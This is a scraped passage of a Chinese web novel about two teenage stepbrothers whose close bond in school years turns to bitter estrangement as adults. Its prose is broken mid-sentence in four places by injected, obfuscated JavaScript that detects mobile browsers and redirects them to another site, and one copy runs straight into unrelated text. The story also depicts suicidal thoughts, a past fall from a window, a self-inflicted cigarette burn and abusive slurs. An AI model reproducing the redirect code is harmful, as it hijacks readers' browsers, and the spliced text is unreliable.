教室里顿时炸开了锅,难以置信的讨论声和震惊的大叫差点没把房顶掀飞。陈舷的耳朵都差点被震聋,后座的高鹏也一个蹦起,抓着陈舷的肩膀狠狠摇晃几下,在他耳边喊着,震惊地询问详情。 陈舷在喧闹声里无奈地笑着,远远望着方谕。方谕也被人层层围了起来,正被拽着问东问西。 有了跟陈舷有关系这茬,再加上昨天他带头打了全民公敌,班里的人顿时对他没隔阂了。十四五岁的小孩真就这么简单,一层冰似的关系,几件事就能破。 这阵骚动直到程慧丽听到动静,跑到班里用力地敲了两下前面的大门才收敛。 一群人瞬间不敢吭声了,全都嗖嗖地跑回到自己的位置上,低着头缩着脖子当鹌鹑。 “要疯啊你们!” 程慧丽在前头抱起双臂,怒不可遏地骂他们,“大老远就听见了!都出去听听,别的班有动静吗!就你们跟亚马逊的猴儿似的,一个个本事不大嗓门倒挺大!” 程慧丽气得拿手指把他们一个一个指过来,“真是我带过最差的一届!我摊上你们真是倒了大霉了!” 正骂着,早自习的铃清脆悦耳地响了。 程慧丽气得面红耳赤。 “念书!”她喊,“都要期末了,一个班一半的人都还不会背《小石潭记》,说出去你们也不嫌丢人!” “正好今天最后一节是语文,到时候都抽查!我告诉你们,有一个不会背的,放学就一个都别走!” 没人敢吭声。 学生个个低着头,像一群人机。 “拿书啊!背!”程慧丽嚷。 周围窸窸窣窣一阵响,一群人慢腾腾地拿出语文书来,稀稀拉拉地念了起来。 程慧丽气哄哄地抱臂站在门口,盯了他们一会儿,才转头离开。 他前脚一走,后脚高鹏就拽了拽陈舷的后衣领子。 陈舷往后一仰。 这个著名不会背《小石潭记》的顶头丢人现眼种子选手一点儿不着急,满眼还燃烧着八卦的火:“所以大帅他妈跟你爸结婚了,他是他妈带过来的?” “是啊。”陈舷啧了声,“我刚不是跟你说了好几遍了吗?” “太炸裂了,兄弟难以置信,得多问几次。”高鹏感叹。 他旁边的陆艺伟想了想:“那怪不得他一转学过来就对咱们冷脸呢,感情是看你不顺眼啊,舷哥。” 尚铭这人又不动脑子,一脸纯真地问:“为啥啊?” “不是,你是傻的不?”陆艺伟鄙夷地睨他,“有几个人能对爹娘的二婚对象有好脸色?” 尚铭恍然大悟:“对哦。” “咱这属于被连坐。”陆艺伟说,“咱是舷哥的九族,冰皇帝一来,把咱们都给诛了。” 陈舷笑出声:“有病吧你。” “帅哥怎么净跟帅哥一家人,”高鹏幽幽地叹,“当我弟弟多好呢,出去我就显摆,我弟弟多帅。” “一边儿去,那我弟弟。”陈舷赶狗似的嫌弃地“去去去”了几声,说,“我告诉你们啊,人家昨天跟我正式和好了,中午说要请我吃饭呢。” “我靠!”尚铭哀嚎,“我也要吃!” “你吃个鬼吧你。”陈舷说。 刚下早自习,到了第一节课前的小课间,方谕就过来找他了。 他刚走过来两步,刚开口问陈舷中午到底吃什么,尚铭就臭不要脸地探了个脑袋过来,说:“弟弟,你哥兄弟想吃砂锅米线。” 陈舷:“……” 高鹏附和:“你哥二兄弟想吃猪脚饭。” 陆艺伟干脆也:“你哥三兄弟想吃花椒鸡。” 陈舷无语了:“你们死不死?西天取经吗?” “你就说你想不想吃吧!”尚铭嚷嚷。 方谕笑了两声出来。 “吃什么都行。”他说,又担忧地看了眼陈舷,“我们是不是又闯祸了?” “咋了?” “刚刚不是说,最后一节课要抽查,背不完就一个都不让走吗。”方谕挠挠后脑勺,“不是我跟你弄的班里闹起来的……” “嗐,她说的那是气话。”高鹏一乐,摆了摆手,“没事,咱班主任出了名的讲理护短,舷哥这种月月倒数第一的还是她心头肉呢,她还能在意咱班背不全《小石潭记》这事儿?” “就是,反正最后一节课就象征性抽查一遍。”尚铭也摆摆手,“该放人她还是会放人的。这种让某人招全班仇恨的事她不会干的。之前宗哲阳想带头孤立叶子,被她拉起来训了一整节语文课。” 方谕不解:“叶子?” “那天被叫去作证的人,”陈舷指指前头门边,“喏,那个,离讲台算是最近的,叫叶凡月。” 方谕循着他目光回头望去,看见了叶凡月。她扎了个高马尾,正和同桌又笑又闹的,吃着手里的一个面包。 “漂亮吧。”尚铭嘿嘿两声,“长得真好看。” 陈舷扬手给了他一巴掌,嫌弃得很:“别对着人家小姑娘流哈喇子行吗,太变态了。” “干嘛!我当人家颜粉不行吗!” 一群人吵吵嚷嚷,方谕在旁无奈地笑了几声,又看向窗外。 窗外还在飘着肆虐的风雪。 “可是这么大的雪,能出去吃吗。”方谕说,“我觉得出教学楼都费劲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561639|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “开什么玩笑,虽然我们是活在风里雪里的野人,但也是要吃饭的!”陈舷突然语气激昂,“没有什么能够阻挡我们去吃砂锅米线!” “就是!” 尚铭这个头脑简单的,立马就被说得也热血激昂起来,他碰地一拍桌子站起来,大喊,“我们野人也是要吃饭的!!” 高鹏跟陆艺伟乐得不行,坐在后面指着他俩说神经病。 “看见没,大帅,”高鹏指着陈舷说,“你哥就是一个这样的神经病。” “滚滚滚!” 陈舷骂他。 一群人在后边闹成一片,上课铃又响了。方谕匆匆放下一句“那我中午找你”,就匆匆回去了。 第一节是数学,陈舷趴下就眠了。冬天真是个特别好睡的季节,陈舷一睡就睡到了大课间,做了个方谕屁颠屁颠跟在他后面,一声一声“哥”地叫着他的美梦。 雪下成这吊样,大课间的跑操也没有了,二十分钟的自由时间让整个教室里都吵吵闹闹。又挨了两节课,午休了,外边的雪没停,但好在很给面子的小了些,没有多少风了,陈舷带着自己仨兄弟,拉着方谕出了门,跋山涉水地吃饭去了。 雪已经下的有膝盖那么高。 十五岁,那真是个人人都有用不完的精力的年纪,五个人在风雪里呜呜嗷嗷又哈哈大笑,头都抬不起来眼睛都睁不开,也在白花花的雪里努力地一脚一脚踩着雪,花了二十分钟走到了小市场里的砂锅米线店里。 门一开,老板娘都一惊:“我天,就这天气,你们还过来呢?” 一群人浑身都是雪,跟群大狗似的,在门口疯狂甩毛甩衣服抖胳膊。 “那得过来呀!”陈舷特别自来熟地喊了句,“我弟刚搬过来上学,我得让他吃到这条街最顶的饭!” 老板娘乐不可支,挥挥手谦虚说:“我家没饭,只有米线。” “一样一样,”陈舷说,“老样子!一份麻辣红油虾滑,一份微微辣肥牛,一份微辣肥肠大虾,还有一份不加辣的鱼丸!” 点完菜,陈舷回头望方谕:“你吃什么?要不要试试鱼丸?” 方谕一边拍掉身上的雪,一边转头看陈舷:“你要的鱼丸吗?” “对呀。” “那我跟你要一样的。” “好啊!”陈舷笑着应,转头又和老板娘说,“两份不加辣的鱼丸!” “我那份重辣。”方谕说。 “……好吧,”陈舷改口,“一份重辣,一份不加辣。” “行。” 老板娘应下,转身去里面煮米线了。 几个人拍干净身上的雪,转头找了个位置坐下。 陈舷坐在靠墙的位置上,方谕挨着他坐了下来。尚铭拿饮料去了,等他拿着花花绿绿的五瓶东西回来,一看,立马黑了脸。 “大帅,”他伤心欲绝,“你那是我的座位啊!” 方谕:“?” 高鹏乐了,说:“你不知道吧,铭哥跟舷哥上小学就一起,多少年的铁哥们了,初一开学就一直黏在一块儿。” “你这地儿还真是,一直都是铭哥的。” 方谕一慌,下意识就要起来:“那我……” “去去,”陈舷拉住方谕胳膊,把他拉了下来,嫌弃地朝尚铭撇撇嘴,“你拿把椅子坐外头得了。今天开始,这是我新的命运共同体。” “有了弟弟忘了哥们!” 尚铭骂了他一句,然后绷不住地就开始嘻嘻哈哈地笑起来,把水往桌子上一放,转头去拿椅子去了。 “你跟他计较什么,”陈舷也笑出声来,扯着方谕的袖子说,“都是兄弟,他跟你开玩笑呢。” 14.夜雪 十几分钟后,老板娘端上来一锅清透的鱼丸米线,和一锅红彤彤得感觉能把人辣死的砂锅米线。 陈舷看了一眼方谕那锅,当即感觉已经辣得天灵盖起飞了,龇牙咧嘴了阵。 他一言难尽地望着方谕锅里:“怎么你不喝带气儿的饮料,反倒能这么吃辣?好诡异。” 方谕正把他那一锅拉着锅边拉过去,听了这话,就迷茫地抬头,朝陈舷眨巴两下眼睛,一脸疑惑地说:“又不冲突。” 怎么就不冲突了! 明明很冲突! 陈舷无法理解,抽了两下嘴角。 不知谁笑了起来。 不知谁说了句:“你俩这天差地别的口味,以后估计过不到一块儿去。” 方谕一下子拉下了脸来。 “没有的事。”他拿筷子挑起米线来,有点不高兴地闷声说,“不耽误一块儿过。” 陈舷愣了下,然后乐了。他拍了两下方谕的肩膀,对旁边一桌的几个兄弟骂着说:“不许说了!没看见我弟弟不高兴了吗!” “好好好,你赢了你赢了。”尚铭举手投降,“你俩天造地设,特别合适,一看就能一起过,能过到变成老头,还在互相哥哥弟弟地叫。” 方谕当场破了功,噗嗤笑出声来。 陈舷也笑骂他:“有病。” 他们一群人又乐起来,陈舷看见老板娘也在收银机后头偷笑。 他们这群半大的小子在店里边开玩笑边吃饭。后来吃完了饭,他们穿好衣服又顶着雪回了学校。 雪不小,一群人却嘻嘻哈哈,还在雪里大声唱流行歌。 那会儿真是年轻气盛,能为了几锅米线就出门,把自己冻成个傻.逼,再心满意足地回班。 后来,晚上他俩回了家,外头的雪依然很大。方真圆和陈胜强又去应酬了,他们在群里发来消息说,要晚上九点才到家。 陈舷就在家里煮了泡面,分了方谕半碗。 吃完饭,俩人都回房间去写作业了。 很晚的时候,方谕突然给他发消息。他说哥,我想下去看雪。 方谕说,哥,中午吃饭的时候走得特别急,我没怎么好好看,我想再下去看看。 陈舷往外一看,外头的雪那叫一个肆虐,风呼呼的。 他觉得方谕是不是有病,这暴风雪也看啊。 陈舷看了看外面的大风大雪,又低头看了看手里的手机。 他又看了看外面的大风大雪。 他又看了看手里的手机。 最后,陈舷心一横牙一咬,打开卧室的门,跑到隔壁去啪啪拍响方谕的门。门开了,他就对方谕说,走,哥带你下去看雪。 方谕怔了怔,朝他眨巴两下眼,好像很懵逼。 咋的,没想到陈舷居然答应是吗。 陈舷有点好笑,乐了两声说:“走啊,哥跟你下去。” 说完,陈舷转身拿出好几件衣服,把方谕跟自己都包成狗熊,下去看雪去了。 那时候小区楼底下大雪呜呜地吹,陈舷站在风里转头看看方谕。他也穿得跟个狗熊似的,但仰头看着天。那双丹凤眼朝天上望着,隔着风雪,陈舷看见他眼睛里有一些说不清道不明的东西。 鬼使神差地,陈舷问他:“堆雪人不?” 声音闷在围巾里,听起来像隔了层窗户纸似的。 方谕闻声低头:“什么?” “堆雪人啊。”陈舷扭扭脑袋,“走,哥给你堆一个。” 说完他就往旁边跑,拖着笨重的一身衣服,背影看起来十分滑稽。陈舷跑到单元门口旁边的空草地上,开始亲力亲为地堆起雪人来。 方谕在旁边愣了半晌,才跟上去,上手帮他。 俩人边堆边笑,在暴雪里堆了个特别扭曲歪七扭八的雪人。 他俩正笑的时候,爹妈就回来了,到了单元门口。看见他俩,方真圆惊叫起来,她说你俩干什么呢,然后忙不迭把他俩往楼里赶。 “大晚上的,这么大的雪,在下边还堆起雪人来了!”她说,“你俩也不怕感冒,有病呀!” 陈舷嘿嘿地乐,说:“这叫青春,青春。” 陈胜强也看不过去。 陈舷这话一落,陈胜强抬脚就踹他屁股,骂他:“还这叫青春?这叫找病!” 陈舷继续嘿嘿地乐。 方谕看他这副便宜兮兮的贱模样,也忍不住噗嗤笑起来。 “别说我哥,”他说,“是我非要下来看雪的。我没看过,就把他拉下来了。” 陈胜强当时什么表情,陈舷想不起来了。 其实从前的事,很多他都想不起来,他的记忆这几年跟逐渐失忆一样,慢慢变得一片空白。他只依稀记得方谕这话一出,陈胜强的脸色就变得很精彩,没再说陈舷不是。 这是方谕第一次在父母跟前,亲口叫他哥。 陈舷又乐了,陈胜强吃瘪的样儿,真是很难见到。 十五岁这年,是陈舷带着方谕看了雪。跟电视剧或者小说里的完全不一样,他们看的不是柔雪,是铺天盖地的暴雪。 陈舷不知道方谕为什么突然要下来看暴雪。他依稀记得后来方谕告诉了他为什么,但他想不起来,只模模糊糊感觉好像是因为方谕家里的事,他不开心。 以至于陈舷后来很庆幸,庆幸这天他没有懒得下去,庆幸这天他敲开了方谕的门,庆幸这天他对他说,走,哥带你看雪。 十二年了。 回到酒店,陈舷站在窗边,往外面看。 宁城又下雪了,偏偏这次下的雪轻柔柔软,让人一点儿都想不起来十五岁那年的光景。 陈舷对着外面的雪天发了会儿呆,忽然没头没脑地想,方谕会不会记得,他人生里看的第一场夜雪,是他这个混账哥哥带他去看的。 他会不会想起,他十四岁这年很不讲理的要求,他哥那时候是心甘情愿地接了下来,陪他下了楼。 他哥还在风雪里给他嘻嘻哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完这话,她才发觉自己有些强硬,又讪讪软了语调:“可以吗?算我求你了。” “不会。”陈舷平静,“他也不会信,你可以放心。” 方真圆松了口气。 “等葬礼结束,就一别两宽了。”陈舷弯起眼睛,笑眯眯地看着她,“我们都是。” 因为他会死。 到那个时候,他就会死。 陈舷转身离开,往外还没走几步,手机突然响了一阵。 他低头,拿出手机一看,居然是方谕。 信息很短,只有几个字。 却很炸裂。 方谕问他—— 【下午有空吗。】 15.见面 陈舷停在了那儿,脑子里一片空白地懵了几秒。 什么? 陈舷站在寒风里,难以置信地把方谕发来的五个字来来回回地看了七遍,难以置信地确认了这个事实——方谕真的在问他下午有没有空。 “陈舷?” 陈舷回头,陈建衡朝他走过来,眉头紧锁地问他:“怎么了,谁的消息?” 陈建衡生怕他出点什么事,一点事都要问。 陈舷下意识地藏起手机:“没事,几条短信通知,我话费要欠费了而已。” 他脸不红心不跳地撒了谎。 陈建衡信以为真:“这样。欠多少钱?我给你交了吧。” “不用不用,”陈舷笑着挥了挥手,“这点儿钱,我自己有。” 他匆匆忙忙夹起衣服告别,没敢多留,攥着兜里的手机走了。等慌里慌张地走出殡仪馆,在路上拦了辆出租,陈舷才在车里松了口气。 车子开了出去。阴沉的灰天之下,两侧景致向后流离,陈舷呆呆地坐在副驾上,忽然不明白自己在慌什么,又觉得多半是当年的后遗症。 他拿出手机来,重新打开微信。 方谕的询问消息还在,看来真不是他的幻觉。 犹豫很久,陈舷开始在聊天框里敲敲打打。 他打了又删删了又打的,好半天他才憋出一句:有事? 聊天框上立马响应起【对方正在输入中】。 陈舷手一僵,方谕居然就在对面盯着聊天界面。 。:有事 。:有没有空 陈舷喉头发哽。 【有事可以微信说。】他说,【你还想见我?】 。:【不行?】 陈舷立马没话说了。 他把自己这句“你还想见我?”来回看了两遍。这话说的已经很赶客了,但方谕居然坚持要见他。 陈舷其实不好见他,方真圆的坚持他一直知道。过去的事也横在他俩之间,见了其实也没什么用。可人这东西有时候真就不是讲道理的东西,陈舷心里什么都明白,可手悬在手机键盘上,忽然一句拒绝的话都说不出。 反正都要死了。 死刑犯死之前还能吃口好的,陈舷死之前再见见这块心头肉,也不过分吧。 不过分。 陈舷放下了会儿手机,望向远处一直没有尽头的大路。殡仪馆开在偏郊,没有高楼广厦的大路一直向远方蔓延,车子一路疾驰,却怎么都看不到尽头。 就好像他十八岁那年,一直跑一直跑,却怎么都找不到大门,他跑过无数幽绿的安全出口,推开那么多扇楼梯的门,却怎么都看不到黎明。 他太想跑了,所以拉开窗户,终于给他十八岁的狼狈画了句号。 陈舷摸了摸左边额角上的疤。 不过分。他又对自己说,见一见,不过分。 他又摁亮手机,给方谕回了个:“好。” 方谕没有多说,隔了会儿又得寸进尺地问他中午有没有安排。陈舷沉默了会儿,看了看时间,已经十点了,算算真是差不多该吃午饭了。 “没有。”陈舷说,“你要干什么?” “吃饭吗。”方谕问他,“我请你。” “……”陈舷默了会儿,“你记得我把你气到住院了,对吧。” 方谕没说话。 顶上【对方正在输入中】的字样消失了,想必他是在对面哽住。 “我说你就是贱,”陈舷慢悠悠地打字,“我说,我招招手你就过来了,还心甘情愿给我当这么多年狗,你这人哪,我想……” “闭嘴。”方谕打断他。 陈舷不吭声了。 接下来的话的确很难听,方谕再听,估计就要应激了。 要是再隔着个屏幕又把他这位金贵的意大利海归隔山打牛地又气进医院里,估计陈舷就不用等自己动手,方真圆那一家子能立马过来把他撕吧了。 陈舷虽然想死,但还不想被杀,于是不说话了。 他等着方谕说点什么,可他什么都没说,只是甩过来一个地址:“到这儿来。” 陈舷一看,是个餐厅。 方谕居然还是想请他吃饭。 陈舷看不太明白他。 不明白就不想了,陈舷没那个身体条件。 他点开地点,递给出租车师傅:“师傅,不回酒店了,到这儿去。” “好嘞。”师傅看了一眼,哗了一声,“有钱啊兄弟,五星级餐厅。” 陈舷:“……” 地方还真是五星级餐厅。 到了地方,司机把他放下车就跑了。陈舷扬扬头,看着金碧辉煌的餐厅,心里一阵无言,估摸着方谕这是在跟他显摆自己如今的财力。 站在门口给穷鬼一般的自己做了半天心理建设,陈舷才硬着头皮,带着自己这一身便宜兮兮的地摊货,走进了餐厅里。 笑容满面的礼仪小姐恭敬地迎接了他,陈舷报了方谕的名字以后,礼仪小姐带他上了楼。 打开一间高楼雅间,里面是个二人餐桌。 桌上菜品雅致,桌布素雅,旁边是一大扇落地窗。桌子靠着窗户摆着,方谕坐在椅上,叠着一双长到在桌下几乎无处安放的腿,一件高领薄黑毛衣外头,是件深棕色的敞领衬衫。 他托腮歪头,正看着外面的景,像哪个色调发灰的文艺片里的漂亮一幕。 礼仪小姐敲过门后离开,方谕循着声儿回过头来。 两人视线相撞上。陈舷朝他讪讪笑了笑。 方谕朝着对面扭扭脑袋,声音淡淡:“坐。” “不了。”陈舷说,“这么高级的地方,我不适应。你说吧,要说什么事,说完我就走了。” 方谕一皱眉:“我说了,我请你。” “不是钱的事。”陈舷说,“我是不舒服,我还是更适合去对付一口沙县小吃。” 他说着,不自觉往后退了半步,贴到雅间门上,脸上带着尴尬的笑。 方谕把他上上下下打量了一圈,呵地冷笑一声,拿起手边杯子:“过成这鬼样。” 陈舷喉咙里一哽,说不出什么话。 方谕端起茶杯,俯瞰着落地窗外的整座宁城,喝了口茶,慢悠悠地又把杯子放回杯盘里。 “我就要你说句实话。”方谕说,“你跟我说实话,当年到底为什么。” 果然是这事儿。 陈舷并不意外。 “哪儿有为什么?”他依然笑,“我……” “这儿没有方真圆。”方谕打断他,“你说的话,我一个字都不会往外说。” “……” “你不就是怕老方家这些人吗。”方谕睨向他,忽的又笑一声,“我真是开了眼了,世界上还有人越活越回去。陈舷,以前是你跟方真圆顶着干,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574393|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看见一个姓方的就骂一个。怎么到现在活成个缩头乌龟,别人光是盯着你看你都要怕这怕那的?” 陈舷被他说得哑然片刻:“人总会长大嘛,以前不懂事。” 方谕嗤了一声:“不懂事。” 他又笑了几声,好像陈舷这句话是说了个笑话似的。 他那笑声落进耳里,陈舷起了一身鸡皮疙瘩,又一阵不自在。 “算了。”方谕敛了笑,拿起筷子,夹了一筷子菜,放进盘子里,心不在焉地边扒拉菜品边说,“就不说这些以前的事,你告诉我,到底为什么。” “到底为什么,前天晚上还跟我好好的,第二天你就那样说我。” 方谕一直拨拉着盘子里的菜。 他低头望着盘子,陈舷却分明看见他眼睛里泛起一阵复杂。愤怒不甘无奈悲恨,太多浓烈的在他眼睛里绞杂,种种一切卷成一片狂风暴雨。 陈舷愣了一瞬。 方谕放下筷子,转头看向他。 “为什么要说我是狗杂种。”方谕问他。 他的眼睛刀剑似的射了过来,除了恨和不解再无别的。陈舷浑身一震,多年前说出去的一把利剑就这么回旋着插到了自己身上。 他沉默了很久,低下了头,和那时候一样。 可这次没有很多双眼睛压在他身上,只有方谕一双眼睛。 可他孤零零的这一双眼,比当年那么多双眼睛都沉重。陈舷好久没说话,嘴角抽搐好半天,又想笑又笑不出来的。 他深吸了好几口气,才找回来些许声音。 “我,”陈舷顿了顿,“我想骂就骂了,不行吗?” 他仰起头,又是一张苍白的笑脸。 方谕脸色猛一青。 他站起身,抓着手边茶杯就往地上猛一摔。地上砰一声脆响,茶杯炸开,茶水四溢。 昂贵的红茶洒了一地,边缘慢慢渗透、扩散。 “再说一遍。” 方谕走过来,揪住陈舷的衣领子,把他摁到墙上,目眦欲裂两眼发红,疯了似的朝他撕心裂肺,“你他爹有本事再说一遍!?” 陈舷的后脑撞到墙上。 “……再说一遍就再说一遍。”陈舷抓住他的手腕,哈哈干笑起来,“我当年,就是想骂你才骂你的。怎么了?梦想破碎了?以为我是忍辱负重才迫不得已的?” “我在你心里那么伟光正啊,小鱼。”陈舷笑弯了眼,“是不是这么多年一直惦记我,以为我有苦衷?念着跟我以前那么多甜甜蜜蜜的旧事过日子呢?” 方谕呼吸急促起来,两只眼越来越红,仿佛要冒血。 “那你真是想多了。”陈舷说,“我认识你以来怎么想的,那时候就怎么骂的。” “我可没撒谎,那时候我不是第一句话就告诉你了吗,方谕。” “我说了。” “‘我忍你,很久了。’”陈舷一字一顿,“‘你这个精神病、狗杂种’。” “‘要不是看你长得好,睡一睡应该也爽。’” “‘我早把这事儿告诉我爸,让你跟你那个破鞋妈滚出我家了。’” 啪一声脆响。 陈舷一张脸歪到一边去,连身子都跟着往旁歪了两步。 方谕狠狠甩了他一巴掌。 他听见方谕气喘吁吁。 陈舷捂住立马红肿起来的脸,回头,目光戏谑地看他。 16.等待 方谕眼睛里一片暴戾的赤红,眼泪都气得往下掉了两行。他粗气喘个没完,眼角都抽搐起来,和十几年前那时几乎一模一样。 他的手开始抖,哆哆嗦嗦地抖个不停。 他眼睛里对他只有恨了,陈舷又把他气成这样了。 陈舷扶着旁边的桌柜,晃晃悠悠直起身来。他摸摸自己一瞬就疼起来的脸,朝他笑笑:“我给你打120?” “……” 方谕没说话,两眼血红地盯着他。那真是很可怕的眼神,仿佛想把他撕碎似的——真是一双恨他的眼睛。 陈舷被看得心中一顿,忽然哑然,也忽然确定了。他确定方谕背井离乡跑到意大利去的这些年,一直在想陈舷,想当年,想他突然天翻地覆的十七岁,想陈舷突然跟疯了似的翻脸不认人的那一天。 方谕认定他在骗人。 他真的都在拿这些他假想的、期盼的事实安慰自己,硬撑着过了这么多年。 他当陈舷在骗他,他当陈舷不得已。 他了他十几年,等他一句对不起,等他对他说其实情非得已,其实不是那样。 他在等他。 隔着上万公里,隔着无边无际的海。 等了十二年。 陈舷扬起的嘴角抽了抽,笑容发僵。 原来他骗人的手法那么不高明。 “□□爹的。” 方谕只咬牙切齿地这样说。他回头,拿起后头衣架上的大衣,推开门就走了。 门被他重重摔上,震耳欲聋的一声巨响。 陈舷脸上的笑意霎时没了,眼中的嘲讽戏谑也无影无踪。 方谕走了,陈舷听见他渐行渐远的脚步声。那声音咚咚作响,匆匆离开,透露着离人的愤恨,应是再看他一眼都嫌脏。 陈舷目光空茫地望着远处阴霾的天空,靠着墙缓缓滑坐下去。脸上很疼,他抹了抹嘴角,抹出一抹血。他从口袋里拿出张纸巾,把一口血吐在纸里,包好扔到一边,又掏出一包烟和一个打火机。 他点上烟,用力地深吸一口呛人的烟气,把它吸进肺里,狠狠地吞吐一番,从嘴里呼出缥缈的一团烟气。 他看着白乎乎的烟气飘上半空,又悠悠散开,恍惚间好像看见十五六岁的方谕推开他的门,怯生生地喊他哥。 陈舷呆了片刻,笑出了声。 他突然就明白了卖火柴的小女孩的心情,人要死的时候是真的很想多看几眼幻觉,哪怕他清楚回头也没有路可走。于是他又狠狠吸了一口烟,呼出一大口白气。 胃里更疼了。陈舷疼得都抽抽,脑门上起了一层细密的冷汗。他靠在墙上,缩起身子,又有种灵魂离体的解离感。 视野里的四面八方突然挤压而来,世界变形。 一些不好的回忆突然漫上心头,陈舷被心绪扯得眼前一旋,猛地回到那个仄长得无边无际的连廊和幽黑的牢房里。 陈舷手指头一哆嗦,烟头落下,烫在另一只手的手背上。 陈舷回过神来。 他低头,发木的脑袋让手没挪开,橙红的烟头就那么一直落在手背上。滚烫的灼痛让他逐渐清醒,陈舷慢吞吞地挪开手,把烟重新叼在嘴里。 苍白的手背上被烫出红彤彤的一圈红。 陈舷看了几眼,就放下了。他抹了把脑门上细密的冷汗,又蜷缩起身。他靠在墙上,仰头望着缥缈的烟气,再次想起自己十几岁的那时候。 方谕真是跟他亲近了很长一段时间。 十五岁的青少年根本就没有什么深仇大恨,只要一起打一架,或者一起骂骂个贼几把讨厌的人,又或者一起当一回傻逼——比如冒着雪也要出去吃一锅米线,革命情谊就能迅速深厚升温。 当然,最后那个情况,估计也就陈舷和他三个傻逼兄弟才干的出来。 有了米线这事儿和宗哲阳的事情,方谕也是立刻就和班里的人关系好了起来。他开始在群里说话了,下课也愿意闲聊了,甚至愿意下个星露谷跟他们一起当老农民…… ……扯远了。 方谕愿意跟陈舷交流了,那几天亲密地接触久了,陈舷才发现,方谕这人其实里外不太一样,看着挺凶的,其实特别腼腆。他其实是个脸皮特别薄的社恐,管服务员要个纸巾都不怎么敢的那种。 他说话不多,也不大声,那会儿就是一直亦步亦趋地跟着陈舷。 陈舷跟别人闹,他就在后边听,时不时地笑两声,被cue了就说几句话。在跟陈舷关系好的那群呜呜喳喳天天胡闹已然不知天地为何物的半大小子里,方谕安静漂亮得如一股清流。 陈舷有一搭没一搭地胡思乱想着。 他想起看过夜雪之后的那会儿。 初雪过后渐渐入冬,一晃的空,他们都一起住一两个月了。方谕从来都没去理过头发。陈舷就眼见着他头发越长越长,本来第一次见面的时候,方谕的头发就不短。 他那一头碎发和偏长的刘海,总是把他的眼睛遮得若隐若现的看不清。 方谕自己时不时就得撸一下刘海。后来陈舷看不下去了,晚上他们一家在饭桌上吃饭的时候,陈舷在饭桌上故技重施地随口提了一嘴。 之前第一天下雪,方谕自己没有厚衣服穿,陈舷吃饭的时候随口提了一句,方真圆就连忙去给他买了几件。 这次,陈舷说方谕头发好长。 方真圆一抬头,才发现自己这亲儿子头发都这么长了。 她一蹙眉。 “怎么也不知道去理理?被你哥笑话了吧!”她说,“多难看,去学校老师和同学该怎么看你?” 陈舷一听这话,瞪直了眼,嘴巴一顿,嘴里的菜都不嚼了。 他难以置信地望望方真圆,又望望方谕。 方谕没做声,只是扒拉碗里的饭。 “明天给你发二十块钱,”方真圆说,“你明天去把头发剪了。” “哦。”方谕应了声。 第二天是个周日。 吃完早饭,方谕就拿着手机出门了。陈舷过意不去,穿着厚衣服追着出了门。 “对不起啊,对不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581797|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”陈舷追上他的脚步,赶忙拉住他的胳膊,赔着笑给他道歉,“我昨晚没笑话你,对不起对不起。我不是那个意思……” 方谕刚摁下电梯。 他回过脑袋,把他的手从胳膊上扒拉下去,无可奈何地道:“我知道,我没怪你。我妈就那样,她总那么说话。” 陈舷松了口气:“吓死我了,你昨晚看着不高兴,我回去给你发消息,你又都不理我,我以为你跟我生气了。” 方谕苦笑了声:“你给我发消息了?我手机最近不太好用,都没收到。” 话正说着,电梯来了。 电梯门缓缓打开,两人走了进去。陈舷摁下一层,转头问他:“怎么手机不好用了?” “手机太老了。”方谕看着他,“最近不知道怎么了,总是卡机,充电也很慢。” 陈舷想想也是,方谕那手机都是四五年前的型号了。 “你那手机什么时候买的?”陈舷随口问他。 “四五年前。”方谕说,“不是买的,我妈给我的,她不用那个手机了。” “……这手机差不多该寿终正寝了。”陈舷说,“找机会跟你妈说,让她给你买个新的嘛。实在不行跟我爸说,他肯定给你花钱,你要是不好意思说,我帮你去。” “不用,等期末吧,我跟我妈说。”方谕说,“期末成绩出来,拿着成绩单去,她一高兴我就好要。” “成绩这么好啊,”陈舷说完,一下想起来了,“说起来,期中考试你好像是年级前五十……” 期中考试是上上个月的事。方谕那时还在班里板着脸当冰大帅,都没几个人上去拿热脸贴他冷屁股,只在私底下哇塞了几声,互相惊叹了下。 上个月,方谕对战宗哲阳一战成名,跟班里人熟络起来,才有人拿这件事出来,跟他开玩笑说“小弟膜拜膜拜你”。 